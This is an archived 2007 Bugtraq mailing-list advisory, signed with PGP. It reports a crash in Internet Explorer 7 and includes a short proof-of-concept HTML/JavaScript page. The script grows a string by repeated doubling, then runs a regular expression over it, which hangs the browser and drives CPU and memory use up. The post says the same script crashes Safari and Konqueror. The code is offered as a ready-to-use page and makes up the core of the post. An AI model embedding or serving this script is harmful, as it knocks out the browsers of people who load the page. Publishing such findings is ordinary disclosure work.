bugtraq - Internet Explorer Crash

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <4624FF39.9000702@infiltrated.net>
Date: Tue, 17 Apr 2007 13:09:13 -0400
From: "J. Oquendo" <sil@...iltrated.net>
To: bugtraq@...urityfocus.com
Subject: Internet Explorer Crash


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Product: Internet Explorer Version 7.0.5730.11
Impact: Browser crash possibly more
Author: Jesus Oquendo
echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'


I. BACKGROUND
Why bother? Who doesn't know what Internet Explorer and Microsoft are.

II. DESCRIPTION
IE 7 is vulnerable to a script which causes the browser to hang. The
memory and CPU usage go through the roof. Originally the script caused
(and still causes) Safari and Konqueror to crash.

III SOLUTION
Stop using Microsoft products or deal with a new advisory every other
day.

IV. Proof
http://www.infiltrated.net/stupidInternetExploder.html

V. Code

$ more /stupidInternetExploder.html

<script>

var reg = /(.)*/;

var z = 'Z';
                while (z.length <= 
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z;
        var boum = reg.exec(z);

</script>

Goodbye


J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net 

The happiness of society is the end of government.
John Adams


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)

iD8DBQFGJQGJh3J3NhODp0MRArt5AKCVI+A0rHdYMOz9KYIbCxFkMN8QcgCbBBBC
TCV7FOqA05H8sSDb0r8nSnk=
=J/DW
-----END PGP SIGNATURE-----


Download attachment "smime.p7s" of type "application/x-pkcs7-signature" (5157 bytes)